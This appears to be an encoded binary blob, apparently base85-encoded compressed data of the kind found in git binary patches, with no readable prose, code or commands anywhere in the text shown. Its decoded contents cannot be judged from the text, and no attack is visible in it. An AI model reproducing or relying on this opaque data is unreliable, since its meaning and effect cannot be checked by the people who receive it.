zt{KH{V=*k2y@vZ|JbQy}VsEln*#@?jt!J;Zb=VI|pquEM^mDp_eoT+iPw1!gGkOHO zMknZY>>eG&UHCP+j;^O0=^J!2-9oowS7{sFN8hI(;QoAoen=0~kLV$KoSvko=oxyJ zo}*vV3-n*~BK?MbOTVMv(?94{T1#uNK%z`z7RH$utIvFJANx0JK+iKz=E3SPZ&sIC znT^%M-R*bA=xNpvdsmI<>+~xUNWLYJ<TsLn=igzpJ(){$$+LJ1;zc@!?4t9?b~=ab zq>sb@a|X{3=dd3B3~RKLxQCv?3i5M2$DhE8@+j88A7jOF98X)HVD)tjyZD}@BdtR^ z)A}S9JMi&XM<!5>BvK2Bqm1;W;iL}@BM;DC<UyKAs%SbHO}mgWv@01)yOB}UNgl$w zeG0|fEVM6qnD!%+X&+KeCz7>v5?MzllMQq#d7VB?HqvQiJ)J_{qfe8)bRpSC7m@vR z345FEW}mXp*g5tk`<?y4J-HWe%>8%^9?tg2_0C?lkG;b_Vx3ts>%{J4DOzhDkEhHu ztrNSzzGDA^r{EI1i)FEU*dTT<o;+i<M0S-kR?hBYrK}83qVZZ1Z_1l-f2<GcVD;35 z2e60OWcDDN#Kz0#)6TpV)>4tYC68lc**NwXo5^P3iM1`CgSEq4zK}o7pW<KeGrWSY z;jdzSwHohyY~Zi(jaX^D#$U%<A1AQhdW&!72l+d=+m!NRJ`z5SVSFeb!H4rgUc@`` zJ9!75%DeL({4SoxGk8a=Qo8W2JejxW?RYny$vgAjyeGe%_rj_!5$n1;xKj(p8qR?g zOMqtA0<|Fi496V;cR`}9CV~Im!J13_MbI{q4I)^A$g-P;ShB%$x*jaCxGy1XTs_v1 z4I*gHe>UKry+H(v12Ww#3`X8yQi8C7Zk1s=-CFxK!WD!kfb&L}g|G;r9zriYpM(K! z1NZ_zPg;whB|>%tzMpKct&`X30ycsrNx-!~T53?I2&mIDO}`4*2)23(9t4^H4+Lu_ zS*CSDTM+mu$O0L#j@fXtU}*{&|0KW%q?gSkLE24%rJSt(N5WJWAK1FL^>I@F`k)Oa z3GgPsgY`FICF!lXhZo3;+6=V+zd6{V$ubeN4bZa)d4O*gmIJ>G;V^=L5j-OGAn_va z9}H|b=_rCx*G;Y)fFmMcJcw~3#?haRA(5}f5NQb5977mKM~uK%!|qgIVPpfsN;Xnn zH?VogLmkXfd&!EshX|<q+OQ1xjtch=>f%4qt1TY=VDzQ9qMz77$n6Tt0T+w3)`5)q z)8K_ND@X*Jiy*FU0X&!g(}5o+0hazG@cMu!q#oLA)b}@mUnY0E2Qdfmv1Gco7y4L7 zI$ARk=E9yl5V|6ilJ$7j2;!5m8l6NIXamV4-iZ|O&ZGeOQCb_aN}G!iO;*T|h--J^ zt4#(@1<N_oOB+f`QO7D7vTzk4lSF8j6m9~UjQ&`q`5=rXxL=ca$eAUA7DoDMvE)u| z9;wg<kyVy7gdETb`lbjgNt7jutg@~q5jF?XRb&FfT!a#M(pS+HwdcU2vn89vTgD>4 zh<FQF`xfmJ^|m2nA?s}DZULW9=E<;#%mdz6D*-PREJdU{;3`2ULp+(UiI7I3wSBnG zL?{QnxXu7g5t+b;V{TnUW{O}rfoGY6Bm+9lgFP+K4kCPuFc-lCVF23E25;%EMjtTn zD1lr<!EY#@3?|?SVnXdfI;qxMTS)S7ubQt#kZ|zL(=L)QypKFVt|M@N$GT#J_7U>L zy&7|+yl>$iA;!ME2Tq3l)adsxZ6a~XdziR4ihIg5l8Jr^67#U-G;9L%vSkwHZ*k8N zYZYfL?!~nwm<viQgKA4OYt0HvrbrWSId=;l=9;GVLv3~KK7?lx#%rr<>RWHIH>a z33P?p53T!a_aQusFy6Yq=9~zqw-RBr=B!zdP>nDJVK8vh5yBu-CBkUS;F|Ra)d*7% z23rPS-K&S%>BtYWO~k!_Vr?bDXxqe^^$67nQxFE*CSKhu0@_xIFq&?yS&vYSFa=>S z-74~AzL-BTH`bm<*aSUPB8;{SLfwN<_aM|g2z3uaor7w_v`&!Q3Yo1}&m$~AAV}{( z7-Zb<pu<Xp(Uwf`$OMl}@W=#@Ovo<-cx6KVa@>c?A%8jKFNgf)kiQ)AmqY$?$d6$0 z(C0QWSD-(aiNH^j$K*VW`Ie0)%jNt%op=bGpyS_@XT|(!slu2P^I<Q2JqEjsfK4yA ztOB1Vq%Z7qxn-fwgN?4eB7(>_gW!RDDTAn6@P7%m2ATf5gVEMMy<UGG`Ulg{>12d% z(8n(bUjpueP#5q@gyDc2AuI>H0^x|li|cuT``de$aj$aM^?w1DeIxqkzafbB(XU|( z`^oBmI8=jQ_Mh^cPsXxp@&xAFG1_R7uX$r$9}Rdc8O!GZo{4!BuqNo7<O#NgjAoCK zJXV3H=kql?ENjRUme~jgF_-?m>@Nu#YzT~I8{yemN@imHGgDmYSkeyTS%;C<ur3pL zzL7-m<*3_%yb_&Gl;v4?d-+)HZZ?(_Ao#+gQ-I*h2-4VR_%poK3EnAWrtKJb&({NN zewGH`3-=<k5SFs%NdntU`iLub8vDT0kRXDF`!@Cv3+O?}aRxq}{a6>OVDZL0aRm1% ztc|c^RDk=+GR+UR5=lzf*U)1)#xZDce-F}fNJreGTZnrY?k^=)u}(S+nmp18?VXAH zPNwBOQXju^un7I|ufY#8tFYe<7Pu`4dl9xF>_ZT^$q3U$u%3giC*odQMJ8$;NuovE ztJabZSo1_{8!?y7B*QHWNr6XGtV`D7K0gmKu0?<QKpw2wt!-SvvJAQnNBigFeu%*K zBaPsJ=RtM>a_%5O*t@z1J6Aby$qMiA6A1m>LIGg+kmHudZ=PgcDz5DmEO>}8Nu~d+ zY+vLX^%yicMj6;vF!zJphe<!S7BZu~tfRULn<^qt$h<|QpP*xjp#2s4XeirZ@Vovx zROerF9Pi0s=b#pT{@P>kAPy7(^~{8?HTSwufOG-7m*lc+Tt(;wScGwa5k#HtLGW=8 zMxIfRaW(LQx0I^@y3A7{hfD)hKqeyxgG2n)E+Ozz-1vvJ5Prr5PZgt_YScol_*Kcf z)Ps6bFItCs!>^kMf9@-^KJ|g`yCHnCjYu`Ta=xSmyrALaDm=Xf)DQmMmb58tM*c<p zX><6;1F<6?0q?DyI^Y8frXkq%41>=(9Nw^&@czC}TVXe&HEjdWZz~!_BFV49{|ldb zEcQO*Xgs{G`{Don0AAMv<O;mNAHv(-9{%>*;RS9BZ*UYm!MD*n;k{0V_d1oPkuxM3 zUb`6Tq+PJP*bRGWJ>cPwg-17o9HKpGFZj7L>0LAnp2a>i8(zGRXg}JY4xo3_f$)0| zf(Lvs9YS;9H_s)n(mb*jzQKI>{^Kzt6wpFCln#USB*KGx4x3fO=?GeaJ=9Xn4P~?( zd#M%hGAEHEn3;~k?_31W?lC$By8`3rczDz&z^6VD-t|fJAvziU!S?V<PNfgiY3SA4 zu?zigIvsxLN9hdu7@bLH!Gk=ToX39PT>M_5m_ClZQn9n}BwYYc_)~NteVQ(!i|G=q z+@FDud?|gFE~C%EL%kfoDp*FJho5={eoazC2`Qs5(3SXQ#Mk)c7^SP|OLR5qig!lD z9&-hDpv4;}(*H{;;Q`)2?t?E@_<@DTcr)onx8Mz=-;_sqJ3RS2=uVOW4{H_O1uyB_ z@RIJP@4!d8hrUbq!kfGgZ)CiWxw030#|KDn_>K?4a}576b|W(B5poy&&d1<~K2AR& zV@VeL<DbF@{uzAH!ngc6Jq=Iz7sAI(#!D~rdF&4hPc!_;y0@7;N56xw_IvUg=IbBG zw<H@L+)MOFdYS%2e}>Qf7kJ_Spuf`J=oRuP_8WeezUdlTO9qgM7!;EjB@Z!19)yot zc&ddz+5`S+FXf-E$Lf>2F|K`B1J;l=BKKgw=pyqan^|M#$C}{xcFoAW%%6OPJ?j7# z$b!Ug?^rO|L3ZNzccCndwZPo@4DK#1@m5zW?BTX%ZIqurT6*e*pFRP<*J#I*SbNri z-Of6)JEYfFcz;t^DobPO%*nd2uB;p04eP-&SWo=6qc_Wx9^gJKoAqV=SbsJE`{e_5 zk1!j|hOiu#%ko%0D`16eC>zF#STP&UMz9h#Quv6auegF$vMM%;jb>w{4|qJgpG{y7 zu!+)7Ed0e&*i`l~o5mht)7hhJhVCV1v)LRrmpzWR)t+GU*^_Jmdx|Y&PviH5i}7p1 zXT)y_*)sMVeogp1eoOcQeo6Quen<Ecev$GrTf<&q)!3C-i(QI!*q7LVor#TVuVORX zf<6DY*fzGE?O;3EF6k|QNBYJ0V%K{gd!OxRAK*Q?57|L>h#iKP{0KYBj<Ju~arTMy ztDj&e*(vrpJI%geXV_WkXFm_G`33mRzh?ht7uh%LTlO9Mp8WtX`j6}~`-%O`eqq0| z-`Ex5k!M#~4XefeI^~RWu5k-?+HKrJdg_HQy)LhZop&GXy*I==3BJ;M-^B2?lf^uM z2l60p=MEmsL$Es^CVczwvq!+=9?4ttHoPtN>u=-Hc#k2L$MJZc0Ka!Tc)#1jSAIJ@ z<abEFd1v^@Q{X#KgHPNkedgVyA3X!!@?P+nXTqcIdTXOUAHeVC1Nl8}?}+4L_b?y( z!-eq34}&+p7+(1i@X(Khuf7aBoA<%DUy0q)QP@WvgMHL-*eAUoJE{+0-}FJeq4>}> zZ-ThJIfosBIoKn39J`lKV3+bqz5sg#V#i<+U(A;XZ#{pOFT?)qa=e4E0z028vGch~ z?jgL4-Go=LlklqCMOeqzi{Fr9PvH%|345cP`4;TozJ;Ca?bx^7iJjZGv9s_Fc1PcJ zd)u`sc0&EJ-xh$K)%Wmz!~1+c*-9>BZ}w;Y0d~DV#E!%vei*yLNBB{AW9pJSv7h@0 z_Lb^mPgEn%6D#(PLa^6sAzs)MZb(x2$7C?>{GCW=>>hbz5B3xODgO*R94E<ovW}l3 zKKyg+sIDg4$ad_hZXmCdjpPlo8@st;kK`=g?>fi7<mbs${uTC*ZP=gt7g<Suk-K&m z#hZfIwfmln-Mb&j!|>89;6L%7Nj>Z+e@`|M2lk(Xv9tOlnUD3;i@2Y!z<%@+{tJFD zy9m3|FYw>ULhNJhA#Y;e)ssxe-Tg5#1FO!NWD52rFW^4Ei~mlN@w?fp@|UwjqZ-q= zrm1(hJTy<uORJ-KYjv@!SYPwO{$fMyF8XSXH9zbyHpL#Jzua-behYS89N2>i(L(Y2 z<j=5ce2N?=v$3m|iruwOvA=nee4>Tn-KcQ9JsE+$sYtv7*#>VxM#=XeW3VF?r^Vx4 z%0#?PnS}Q#JK)Wej(DfC6W*%qjQ1*2@ODlb-mP@vcfVb=Zg?+Ny(ekBi>CF_vbDZi zKdrwuK)YKTsNI9NdG56)=T#JrF0_p*EsjY~PS>v~iRv1yuCeMGuV0gmYpO~s`s5^) zP8Qeb*l1Ng*|<tRz{lE>N9N{Nl$F|&%Z8Pe7LM>rt|%@YmYYASs?e64u3x1{(Xn+> z^NTC;M~xg>QaIKtwV<pjH$T6yv`W?x<BZX-sqxmd{9G`^rJ^iX=EkH)>vF_6^?GAc z6Rhd7xz=<^tV^4sTAiv|k*cIkRjp2yt%cO_Ug_6VACsP<8k}M@IMJ4_8kVj%OjV&2 z6_al5B5SVG#nmXi1+lSST}<v;*Sy?{I$d2f)^27uK@e4Is;o68JyoWGPquYawRh8N zw|1*4E-5Ii)7`~MuPsitH997>oi#&h+nQl&BswN8MazIJI;qY*COuxN1x1prz4Riz z+=|2}@buDQszi#lw<&H+dYaN_ni4xr=`~I275Ta>vC&dV(Xp{gnQ=xxDCMQ5TY49j zRg{WKP)apE-QcFE(o}DzN7wCLGzvCVF=}K<?kK%6vC-+a-bzKnLSgcCdRLa@Ru-8i zhx!$#ghXqW-q0+!h9)R!V{~=I#>86tNUA!0u2XVsjB0SAYDjx2T69d3Q_DvGTC?5Q zCh8^{8>5<)m~8E9>M%MsM(HZuxF%Zqx^$7QDsrld(hc3HmZYcG?R%pxViIkAl`i_~ z=3?n9MxnK@G#YDvy;=QT&GPJDP+VA1SXo?Y?LVv{cXVN$yIq-jw>aaicgrl5RN9JD zz2r=?4wP)Y2Aan1(@kQAbdM50P{0pXthr{((Lqj~Q%XB^l_MTQFHWTs^lP$lO;c$_ zpWI%hQ^Xa6M3qlAu96S%akgBgja)S+<+|pi+(Id%&MG>tPQI(%UioHAtOaI|V)D@| zjB)A}#H1!#3uU{kg>F<Ss(GnO+*Bo2s%l=UY!<{z@G3Ox(ZxtnElV+4*3MR_T2Oe+ z<Rdi_9h;!&W1QAuQi3|eT&<AGiHVK#8fMm_6^Tix$VFo<Hv0tvwf8KR9fsc%>GGsX zIWQf`dO(q4D^~IptLdm%T9&LUHm+Tr;V#~K{c-KQM+~bdEG#X_EiEX{x0Xn)TT4uZ zVQxy*N+6<6uUCb+DaKl=la{)X#wYSZb52UNmYLFH_E2h0Q#wgg>P}NulqS0aZBV+4 zRXUC{x<^@As?$>D8i#301L+1gMU|#HIX$Ls*^T2c+G#6OdeY~llsaWM%t?w<LOUyd z0ED}wwZg5T2};@+DII2uIBTV(s#AHLhGSz?gA-%4DlrFDxv@#qEj2bqH6t;_I?B`; zxGLSG8`pN0QLeV9E5`aAIVL^b(1nsb-C1|kjct#C<VM@o95hPKL8J6JXpG*BF|KBK zjxpz;G5Q=d&XuVfqBFrd&V3G2+KE%W;%sjnFWGvHH*LNCu)>Owu(`aF$|&&zET3XY zF=V)FPKpvglj1{%47DH(DVA|boo=paOUsR_%-0G<R4k%0MAA&-)x9EK^-p|^KH0~| z=n9X=+#`BEzP)}=iPvZQ=y+Y@(ee5^3Rk^<<1uqfdZ9g0PQTIMs*k*Q{U!o>IsXH% zTW@@fk(PY|ynaK9kCFBn9UrUek5%==Dmh~fITd}ZybFO|pPb@jl^n53u2_9R5+AGN zfrU#s^*bxd$@>$oO0H;wPT`{!-)N&AC2zFiAFb-s7eZ*K;uCAgr|QExQ`W0)uJP?u zT3=a2$LpgRR|BuwnPBvX(nFk*BTmVcp!Aer<SV)2lw5JD{c);YajIPjO8;?6-Z&$z z+83wfk5lriC0BgBswZB_8E?p`=;M`q@k+jUB}crHD_+SHujENE_^bNkm3;9^F8xjs z9iL#xZM55{N6D+!Lh)+;iBC}VBq%=dhJ32N1fxHc{O#f_$tC4QxmrqLRj#E=?#Pk3 zvcuxq$J^4&D~n6YO0|K=;_1lFE&`-=!}{OSBe%Rf7Yo;sc?G$w=P1@|6dO>Cg<Y|D zq+prFJgcb8(x-UX$XuSCJIdBqXT>v%ig_wRW@WKnO>%oLS$|boX<4PWs!=99P@@Dq zMTL64;;$zZPnq!QJ+g3^A`;}r1XW)V8EL)JRH=*@r&`53b>l}`DjQd+JX~ex;3}1k zt5hbgs=WTp5#!Wv|F}x!<0?BDS5-bq;gb|TN!632>Pa%_R6R+mo+MR|TE#lmox`bC zs7`g4aO#r^p2Spn^}OIz_hzR)8Q>XA)vphJq*eWDx$TTq<@G^~d{w`C%5kdYg)>#j z+g`P+z2e(mwX412+uop4eD&3LjI+Jss}E8v&s2GRkRq+h>w^<%RbC&QNUQSd0mP|p z`cCzD<5Wuur#|Rnocf@{RmrChGNhG!@ru7wwa2OCNmu!5+2+&-Rg5!1(d&aa#;F$j zPIbd|s)qrmx*<Cg72ia~H&MxvsM?vR>Pb|56IK5ws&+aRy;IRU6}@`ccd7-pGg;9k zE4pNZPVrUF1!uC;k}C&&9>%j}m>Beyg2IxjTw9?U^5c=gMP`*8^2K7vkB~#YL=Jg< z9HpeP(ot+|F&0m9-1CZ}GBv_tEtPWcS7GquSIuG`;pG_k`3Oi_%EWl}6nyo;EFfc$ zHgHeq*@}fs)K>|E-1oY)UP6f^6JD}59h42%NmOHH!UK(!fG)qj_{2!pALpFvk;SRs z&VZNGC$4fj##K(wxXS4sS2_L1INPc6?d0tPGlI%bQTP-CulS|N=^1p2Z<3-*Qglfw zKS|Li8FZ@tB*i~T)vq4eoci(yGlb%!FMp6$eAL6OQ!Ox^`fVEWt9*S~f*C=T*Ow(o z8~I8OeK`WWl0#pXfRD;=r{q+Q9;bT7aw<oUQ+M=WhEVNpuj*^B+TC8&hr1J&6`)i6 z+N=87t9GkrIj3@9IMqXgQ#}Mb)k4&%FDo#kC_cJV25F=J6yJ6#tvgC$oXVl%R1Yyu z<xp{|hZv_}Kl<_kGmUD8zI;GhwL@PvAg$_er)G+F#tfv|sTTZBec6K<Nb%Ee=SVAl z35q^J@za+F$T!-fW{7rbhDcZKOIP|%SA3OA$EhBpoaw5(@}oEt6`j7Ui*f4DEx4-s z6IK0*ihrU}znYQS88fcR*Pqa1oVuG3SH(xUEuG3$;7nF_kgVFP+@Mb7dT=Hye#xpn zr@HD6#^|_qvi-^Jb^A?juisITmhC}W>OZ-?e&<J8&cL|J`amb;LcZdouN06k+l8yF z4_AXuwi9W^Umq{vBlQEkag}l-ZSa+M0MujDFWZfLh1bU;(guIopGZf0isK`qL?maj zXnidb9j(tSxXPBqM(ZOIH5e^clISxU@X`WtRg&v78q!KqeFj8YNfsULS6*0ATvi}F z!|+fQ$j3IEiBc~QkIRK6g+r_GSXWtCUnVPxam=Yq`-t?2!YY%XfkL=Q>XqkKz#n09 zkV#jzXeWG1QvT@ZWTg>(4FgR(J#$OTsvtmdu0FT7lR5-tG)v9W3#TO1%`d|(Y9t)t zRk;=8w1TqIVOshqU5Rj`$VS4uo2Hc%S4ciU%D%!?_B}Eat>uN4D6e=*#UWb?gsW62 z$n>jn1H`IldN?tqVq;^~6IOJJY*1{BZc@0)e5cbX`N5Q>iQ%d@JWf4{#YMOCluzFI zWh3)E<s-C!^row)v^e!t7N?$0<5Zn-(aE0jq2H}UeBGk5vJts?Wupt-u+l7}<J8l1 zoO+s$Q%}=zF)7}7uFoqhDI4P|q#jx0)FWz~dSs1LkE(I%(J@Xv62_@VzBu*B7pENN zaq1B-E-tB_**s}V-r`9UZF5hg%0wNrRZ+#BI#s*@#U@4R&mysUM@Gl$%VwC48qE5# z8EM(!xT?XfFPD*4gHLY=(z2(b<J7ZaoO)J_Q_qNT@d*}vEh1wnU|nM|W3EB425^c7 ziK`?LJ%~h_LZ-PPo#{H#neK*6m3D$#l`4_uULsYMNOdofrjTjw$W$dos=E|v3Yq4P zOji}9yH}L1c&1;&Ge(y;HO5Webj35>ou^arbh`6QjaJ2@WpS0zDeCCGn+Q9Iaf74X z;P!5CoPyzdHt7Xy&<oh07jT@9&R^2Y+T9SkIBtmc*Hgqvgx0HXMh1Sli}R%LCQ&w# z=Sh)z`gu~=$;BUjKhJTYc*}{8D6A+YVIy-ZMv$P9BSwxO_%$<f#fee))wQJ2--f~o zI+2%K^<xw0WxUse^G=93!NChWD1PHA&LQ?8ICUgqD<BfF39&f2*q{>UiY&sfJ}DJc zcI>{M!QSWz{KD`c*@xc^Z^Mr6I<f})zss<DJ0Clz)3HB00so`%OXJ~qD{C;`K*_?} zGfwO`Q@YaD3-M&z9>kZe;}I{hMI-KxH}NRVu;Sz&dcx8H@n9L}ShE2SuuhdRPNkqu z>qNwpt)h*yt<w=N#BZi4S)*MNG_q8ljJ>oSz|7FjA)c;%irB+~vu)@AZ5QGULBlff zmOLdj0w!O}_?-4DatGs$MQHh&)0@Rf&yBE`PFh|>IFE1|;Zp?suDs;|guMv65Vj(0 zM8L_~EmtF~KoEHRvajVrgfxUs2uTQdPt6R1#t7kn1wV(n3K*v|wM0L+#BbwUigPpm z{B&uf|AdxGu-8vXFZ7=kZ<&Q-2i_mnf|F|K%$mJIA2k(-{cFlWwXr5gw7v#sV3UJ2 zM-W@xPpQUlOiB1`gy{&A5hfs%BMe7~0`>K0S_`|CC*y=~4eLNGEnr1#RagXG!V3ut zK<sBiIGsx2a6*-W1WuE5CN8wb$PN9~gf5v7dPXlBDsZxFD0)ia&|eBduPF$9ry%s8 z4oUg+ve3H9MZYKry{jPfv0Dk*qEPg?%0<sB2>q`hSU@N&0P#E%!W*EW(<E+^35^F- zC2^%DRAfRTH&5mcGI4l6RF%jC)Eyx$6gDQQ(n4Wr3UcMb@)Vs5*T%r<^n!~E3WZIE zIznNEp|C;)!4?(dVM5G+LjEwIP~bv-7G*=eH*g_eo6tEEI%Pt~P3W)z2?-RJ{RS>% zj|uHCq0I*5k~w69feWbymsO%&A<GRY6gmxAB5?~$Xs!W;LeF}xq?;k=LZNY0Vk%PT zt&oW!E@-TYt3b{wQC~=j2@N%&91|L7LfIzN%Y+1%u98cNiR)-Wi6#_nLaurvO<WkD zAlb^MCe#p+x5Np^Dxr!H5`2Y_;LE@W1R$K`t8gJ^u7tjoxhBr7goz8j0GczB&j}Mc z2I!!~?K7d>CM0sV$y^uRCNp<k@S5P2!OMad1<yC3*(NmIgeIGiz)g@PMw_^D6B=$p z1tv7uga(*UmI(<7bbc8o&S^q7lkcxfbT-R&xCs<*;#{0vkV^+HE>UKQ2xv`qVsL;7 zxyt$h=Ogv(WkQ+>A=gnOavi@KIL9Rux(NJvnS0uVJ~bhcdqn0QxCXaZ;&z$1t$;Qn ztaZ4c)z{!wn7K<Ow9w3*=a}i3=9q-^coV8Jp;8knGNC*Z5@iR;vi(e4rU~7Q^Iw<f zZkA2E3Dn8Nxi}}8IJ2yNZ<HE}MXTCKDBOe`Cgg8Iz6KPGo_5reB|HEz0ongBp`T6Y zdjoQS&i=KeJ7?hRr%dR$2^}_}{V1_Vme^rJn@wng2~`7HWnYeXi3u$*p}8g`a5E&G z3pdrwooGU1O{l_z1WqqoV&aCHP>u-=G@)!067uO~dzrYdCgkFmV&Ysa>S*E;O(@!g zA_0X-4F#D{Q$P(R&fA2nVpSk<h;%6EiUHY?8+2LZ27PPbf-acQnV=Iv$B=h0=w{G9 zBNr4WB#(nGC}=m}Z9$t5uQQ=FCbZIomYL8Z6B4-jvaE}4wwXKKgeIHN1QQx<LP7$a zOSy>~ZbB~31t!iV^I#J<08my?24W{dXW7mUCKL}SO5!3+2-;S-02A^vAs-X+0;CZV zSQBJIfxjBKz)QHp$@_WWMH4!2LZ?mWQxiI3LI+I9#YI5!&K|he%-v-|TTN)A3AxIy zb;kv+7VQ;MDF_lMXa%69GFLzgB{UDvOdS_EEpQT2;{&TqXvH;9smwKTNKKO^#|N6Y zz#?GtBzBMq^#hbCaotTQ&4fg5Cz<P_OEPm~@eP7-e2Kt6(AR|OnUIGGF%tqV;15wE z;AaCD@VyCrZ9w*31{844gie{zaRUm31d88b0~fI0fJE*M^8ICrfIUVDH~CzW?l5xQ zINziWH!hov5&;|VnW$=^$)GcURv|18+GjukO8_kpxdC$#W=LqN2~9L1kvmrAR+u<f zZV7NhWp0iM9X276J5c6kUxVu<aa~PZN<hbeM5Lkv{tSvVbHgMQWR_SG(A2&vpdql{ zCS)}sVnEHWn9yYd3J_&yh_cPUHE_)@7?8}pp7URpXnw{h+x)~$pkoHk#ku)G1LrCm zI1lompAhdx*e0P(CbZ6k)|k*r6Iupnkt{JE&}<1!H=)TUG{J-f-DpWyZsLZUP=N^z zHlYE4vSf)26LOkRX9E%xVkSbm144ZBD8vy6A<Y92`yu!=_d=}s*ZBYHf64!%Sm)qw zhTPDZ2y!-YJ*(OG<1V>J@`Rnr>%`!7#)>wi!kG0!8Upeb`EE}b$B;TGab^jzGSb(; zZfi^rV@=~)H;GdI=SA!$UpVBGPrc&lPW<6H&y>I=l~_yZYc4^fa|yv%(C-!Y?~Pm+ z=l=;Pbfb_)`cO=b|I_ul`t6^A-1O|y`2RbQX&Wvp`R{}LPa78Ivc!J~a*Y|&vRyX* zpF{TJ#t0A=sgIBU7a`Z(G%!}kFaG?o($YOj{zr5SRx$GsFt_QDKFhoA?EVK#I`bay zzt_O|WBup9Ris?}{N+f#4(BSd)+}q{+-fuV{k8N$X8q4a_dg3Y$Ly`vDog&)K(1c> zXCOD*a9PR!e~@YSZWjALfm>}@>|fXG8Vmmn<Ql(jkU8?)M)LmzZiT6Xzpl-k1>EMB z|L<_ZL$B|I_%Fr$xlrgvtnic%)P(#o*Xip-Lan=4Q-W{Bf|Rllv6ILW#l9igFJi!l zC5)IImNbVs_6=F0jLSt#_DeWQ!l!VC9lk0nDI=IhC=bG}8)c{)@KC-FaFk|6sSQNz z!|o7xf>WQ6>nrwW=_Og#Lt@Y#V7`{|MS)>fu}8_QatAX_##Tvhl`?b^d!4M4lssG8 z0hkFIZNAvg10JowxuZh<2|8Yu?Ig<5Q?iy*lFul~`87%ZrlkK)VqTT>uSxpT67DGW zRar+_V@FBTQOb}dYbOeWdg&hm=4p~!N3jpf#!JlZ+8W?@37+JNRcK&>+=*N*b|q<7 zR*G1x04ZId(`f5Z)>rDmTTt=<$+Lr?XIZjFUn!ffl(R};$nl!N;IKi!^peD!7WL8% zf(B=%fIsUf;kooQU_1wb^ISca_)KdU@R_ounX-*TWgC5EjhWUIk!uZ*G-xmDCHA#} z!M--j)M;cd$Q^1vK+2pc^)Oq{r3X;s66~3SUe-IE7YJC^K2_E@SG1Q+mGrx0ENmPY zLBlhJPIzZoR+gfJ1U)%ry@I%gVP}^Xh+LW{=;?V0UzG4ZsdH)J<dg;Vl5Dvvd`kNn z@M-OY;A3fs__Am<&im>hFmiM(6)-(7S_F*PVGq!A1!rI&6}>3*L!)p46U7Nekb#`D z2#pPt{a7Hz9nX_G87SK|P--Sc_US+=;V$_mfE=fEmn9q=E^)!3v&dzg1y7bEwUi_K zXteB|Fv%@P){-NnWe$lMEPE$M_D+uMmkNRBMN)<wRSIokvUR*#_Dhali>z^))b>o- zB0S4tlx6978E4DfL6X~e*@|q*bDoT|CCzjx)pW^oy1?-LQU>unPjUKyXjg`8(F`l} z!!qPp%aE<hldbcS+%jalyd^B(reN}I3eclPOukLQv!x^%;++cQP8G3ib%r%Wz*5^Y zWbI<@35*^~875dWfteuQzF?cJ^AN*xATV;av{+*STjadg+}aeq{GOz-Nd6XUByu?> zDaulHyew;xWgP<Mbp)Pw5tKY#Q1XX$jLhvKDL3I9N6I$IS~f{On`FHQM2(P5NVQ4U zxJlMHR$?~FdN*19k^8g2XnA-$1(brbwnXPF;|S44`l}pY;j+IXWP2mnc+i6!u{f8K zvYApFQw1fTZxNVvl76P7-zV!8YkyEmdZ)x#W!y>fm+!H#sS@Lqluk(*AUKl~5)&XX z)wT)XQ!QIvE$ORet9Q#*SLhg<u#;+Am82BfE>-wm62AxWYVp1etCsqy7H{3KHBvLx zQZpBIdeKt6{}Ul7g$y|FV3UBQB)eq2o2C4_L`yl5rFKbacL^F`AisD`NyK`K1U>bU zIt&wdx(f3XW&V;+h%8%AP-=b_#8f=zP%bf;wIDw^ZH-5KO4LOzi&m565<Vr`0=&@J zDbeF(sle0of)6nMfCF?&DcdH2XKSTBua&aRlQJw4G;ER7!y+k9p3YN;CFMlf_KC6= zCQADGQvWFuo+#+qL}_)Mbc}e@iA}T#&5xIw?<X}sQEGmI)cizgEfZzETSX~;P}bN_ z#uH_|nUZs+ptQBoV}YkpY%(~@dlT+QqFsvwC0}k4@G)tPizNT!Ql7Pv=ORftK=K?Q zF#`lfOOUmHDKPvONs}$xJI|v#xMj<6mo3|#Ex8SsZEq^!Y}smG9hR-mmaWc|t<IM1 z&64fSwyhD|Y`BlGY^jZGo3P1jsex?qHkUl13m7R|HY8yr6n$BQ^l+T>B)&F13vV>d zA#-sm$UO2aQp?FfvX~sknJD|nFE}OZTbz-VOB3;xigKKFRY8~G9INH{e-d9EdW9~) zSCtymML5wY5NFim6eGGECm4m$6*$8vjK09aSxdSSCm6M&t8j)<Jbejg7A>IbapKP+ zlw5-U#`4r3Kb-lq99&l5zZuT`S;_oy^3N)qkF*;90jwIQ%?IK%n3e2#oB>nKR*2JI z*b6vI{w#ZuL_^Ul5tbpq;&9#^!Rc3o;yyqpBTPUTjZlt&c~;!9@x25ckA9<BumF6` zi8>KFBXmHB$3Z?(xJDp^;82tR1V02H1TO>)I;=tX6+x^oFPedo^NP2q7Xjy<NIA%- z`c=q8#M7McTI@x@J&~>yc0wo1_*WUrxs;v|<BR5q7?fau7ZU|W&Tn+8pu~x~i1Gb~ zj=)#2X@FO;0KoHPJYB;)M&<lTrIq3<1cJ|H8E+G@&;~FEWn3WZnkVDsvMw2u%MzX; zV|j0-9ugiP;|v*h6)~xi@fwK<m+(0W4@NBC1Jv;58%~L7K^!>8B@1WBF<G;C3ok>w zorzQ9PUFlSU~%>wsSQ)tBn9J6DsVM_;40uMgyTqG(66=Vi`v~N-4tJJNe1UR_^0G? z{4<=1vlQ=jF2_5To;Yu37v9|4jqm;V;+(c`aL&)q_zx0aY9V%<42Ls$X%5Z7DPegu zk7VN%w_=<WHj6%ia|>7Ce6&2Aqm)JR#rLmp8sFXgZZZ_7C=DXRaAwgeQiKzW){tUh zsbsh~r3fR9;hnzw_<ficaC#EraU5Uq!x>0VAzs3lAijW8g(=<={0$O|Z|sQ{c*qvm zWD9Jv1x&WUDqFy13-HB4NbM<Q)F9(LV!?@TPvDesA*rX7)C-bkle+j?S6`e}B;>6l z<@J*CGAXZzl-CA%H{p%VHzBo<13lxnN4)3ivrzO;qbm*0lPLVFKcR8)CwmKXW9{+U zu-e^-(JStMwbN_Y*2;W$?9E{GpZYU-gO|=vaB%(AUeswto)O$~VL#%}y^K4o=l*%D z(~26dZ_A&TF><bz7IIE^waTCY-`zqhuJk_%8M?bU&+Bv1Ul*0kxYjO#WU}40IoFo2 zO%iDli_v%OpBRhcPg;Vq3YmsA=vNWzf8c+M?Y^<B!NdKkQ@LYq9llx5h|-3HN&;bH zZms$|{yNudd4Pk|1g=T72cUx`wK=-hK%I#c_>0*MvDA*xzM)l;sn;lSR2er73cfPH z=FK{e-`KJnTOeo*DfJruDt7U{k;=%sG3VAWE@{n~U)q?M+l@Bg$mvEql+?KYOMM7! z0TwBl)-5qf=LhX))cUx$zGjW2^+CSu2V5`eIz#y!q=bH}ZlXnVzB9BSMv>&D#+88o z{LkoRLkA|8D)7Nr#5^G+kC443`1%?p1Wy6$wTYDeCv8buh{4Oqx&Hch`Pb9Cr`>hu 